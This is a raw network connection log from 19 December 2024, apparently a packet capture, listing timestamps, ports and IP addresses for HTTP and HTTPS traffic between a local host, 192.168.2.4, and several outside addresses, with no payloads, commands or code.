Dec 19, 2024 06:09:58.447551966 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:58.447855949 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:59.038952112 CET	49854	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:59.039211035 CET	49888	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:59.158790112 CET	80	49888	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:59.158857107 CET	80	49854	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:59.158905029 CET	49888	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:59.158916950 CET	49854	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:59.159229040 CET	49888	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:59.278759003 CET	80	49888	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:59.377458096 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:09:59.377510071 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:09:59.377564907 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:09:59.379096985 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:09:59.379112959 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:00.503082037 CET	80	49888	185.215.113.43	192.168.2.4
Dec 19, 2024 06:10:00.503454924 CET	49888	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:10:00.506058931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:00.508740902 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:00.597470999 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:00.598028898 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:00.599366903 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:00.599376917 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:00.599771976 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:00.625813007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:00.625916004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:00.628217936 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:00.628503084 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:00.628504038 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:00.644836903 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:00.644836903 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:00.644963980 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:00.748044014 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.388590097 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:01.388688087 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:01.388756990 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:01.391207933 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:01.391207933 CET	49889	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:01.391226053 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:01.391236067 CET	443	49889	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:01.401724100 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:01.401804924 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:01.401885986 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:01.412113905 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:01.412147999 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:01.955661058 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.955787897 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:01.955812931 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.955828905 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.955884933 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:01.955898046 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.955914021 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.955941916 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:01.955976009 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:01.955981016 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.955996990 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.956037045 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:01.956037045 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:01.956093073 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.956131935 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.956165075 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:01.956221104 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:01.956264019 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.075294971 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.075362921 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.075372934 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.075711966 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.079511881 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.079624891 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.149296999 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.149318933 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.149383068 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.152296066 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.152323961 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.152390003 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.160629034 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.160685062 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.160710096 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.160753012 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.168977976 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.169070005 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.169164896 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.177356958 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.177402973 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.177491903 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.177491903 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.186018944 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.186085939 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.186186075 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.186234951 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.194350004 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.194410086 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.194489956 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.194533110 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.202671051 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.202734947 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.202836037 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.203036070 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.211092949 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.211227894 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.211249113 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.211299896 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.219304085 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.219360113 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.219382048 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.219429970 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.226891041 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.226947069 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.226995945 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.227045059 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.268953085 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.269022942 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.269042015 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.269073963 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.340240955 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.340338945 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.340361118 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.340468884 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.342627048 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.342679977 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.342742920 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.342791080 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.347412109 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.347486019 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.347505093 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.347548008 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.352207899 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.352260113 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.352277040 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.352330923 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.356944084 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.357019901 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.357043028 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.357089996 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.361605883 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.361674070 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.361726046 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.361773014 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.366278887 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.366386890 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.366419077 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.366471052 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.370989084 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.371041059 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.371102095 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.371155977 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.375710964 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.375785112 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.375788927 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.375838995 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.380345106 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.380410910 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.380436897 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.380484104 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.385040998 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.385117054 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.385149956 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.385206938 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.389725924 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.389815092 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.389834881 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.389884949 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.394438028 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.394584894 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.394638062 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.399106979 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.399173021 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.399221897 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.399271965 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.402988911 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.403042078 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.403078079 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.403162956 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.406804085 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.406900883 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.406909943 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.406946898 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.410672903 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.410723925 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.410799980 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.411118984 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.414489985 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.414592981 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.414622068 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.414664984 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.418363094 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.418416977 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.418454885 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.418534994 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.422179937 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.422230959 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.422319889 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.422391891 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.426098108 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.426148891 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.426167965 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.426214933 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.429887056 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.429960012 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.532527924 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.532581091 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.532663107 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.532716990 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.534035921 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.534080982 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.534157991 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.534194946 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.536907911 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.536977053 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.537019968 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.537072897 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.539841890 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.539885044 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.539978027 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.540043116 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.542762995 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.542814016 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.542843103 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.542891979 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.545649052 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.545696974 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.545773029 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.545813084 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.548348904 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.548470974 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.548520088 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.548566103 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.551214933 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.551263094 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.551306009 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.551347971 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.553705931 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.553755045 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.553858042 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.553919077 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.556329012 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.556380033 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.556427002 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.556464911 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.558917999 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.559032917 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.559045076 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.559189081 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.561583996 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.561638117 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.561681032 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.561732054 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.564173937 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.564219952 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.564270973 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.564310074 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.566782951 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.566828966 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.567003965 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.567065954 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.569387913 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.569446087 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.569485903 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.569535017 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.572015047 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.572113037 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.572113037 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.572175026 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.574668884 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.574724913 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.574786901 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.574826002 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.577260971 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.577311039 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.577373028 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.577413082 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.579873085 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.579925060 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.579987049 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.580041885 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.582484007 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.582575083 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.582597017 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.582644939 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.585150003 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.585196018 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.585241079 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.585350990 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.587726116 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.587784052 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.587829113 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.587868929 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.590434074 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.590481997 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.590523958 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.590563059 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.593130112 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.593190908 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.593231916 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.593297005 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.595598936 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.595695019 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.595735073 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.595782042 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.598294020 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.598334074 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.598396063 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.600852966 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.600904942 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.600938082 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.600981951 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.603636980 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.603652954 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.603702068 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.606132984 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.606187105 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.606206894 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.606244087 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.608683109 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.608732939 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.608776093 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.608822107 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.611406088 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.611459017 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.611509085 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.611587048 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.613967896 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.614022017 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.614022970 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.615648031 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.616552114 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.616671085 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.616687059 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.616729975 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.619160891 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.619259119 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.619308949 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.621822119 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.621917963 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.621948957 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.622028112 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.624393940 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.624469995 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.629086018 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:02.629214048 CET	49896	443	192.168.2.4	104.21.66.85
